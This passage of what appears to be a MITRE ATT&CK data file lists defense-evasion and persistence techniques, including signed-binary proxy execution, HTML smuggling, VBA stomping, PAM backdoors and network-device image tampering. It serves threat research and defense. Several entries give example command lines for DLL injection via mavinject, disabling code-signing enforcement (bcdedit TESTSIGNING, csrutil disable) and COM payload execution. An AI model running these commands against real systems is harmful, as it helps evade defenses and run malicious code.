win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)\nT1218.013 | Mavinject | Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)\nT1036.007 | Double File Extension | Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.\nT1562.009 | Safe Mode Boot | Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)\nT1564.008 | Email Hiding Rules | Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\nT1027.006 | HTML Smuggling | Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)\nT1553.006 | Code Signing Policy Modification | Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)\nT1612 | Build Image on Host | Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. \nT1610 | Deploy Container | Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\nT1553.005 | Mark-of-the-Web Bypass | Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)\nT1484.002 | Domain Trust Modification | Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \nT1484.001 | Group Policy Modification | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\nT1542.005 | TFTP Boot | Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)\nT1542.004 | ROMMONkit | Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\nT1601.002 | Downgrade System Image | Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). \nT1601.001 | Patch System Image | Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. \nT1601 | Modify System Image | Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.\nT1600.002 | Disable Crypto Hardware | Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)\nT1600.001 | Reduce Key Space | Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)\nT1600 | Weaken Encryption | Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)\nT1556.004 | Network Device Authentication | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)\nT1599.001 | Network Address Translation Traversal | Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\nT1599 | Network Boundary Bridging | Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.\nT1562.008 | Disable Cloud Logs | An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)\nT1564.007 | VBA Stomping | Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)\nT1218.012 | Verclsid | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) \nT1205.001 | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\nT1564.006 | Run Virtual Instance | Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)\nT1564.005 | Hidden File System | Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)\nT1556.003 | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)\nT1574.012 | COR_PROFILER | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)\nT1562.007 | Disable or Modify Cloud Firewall | Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are 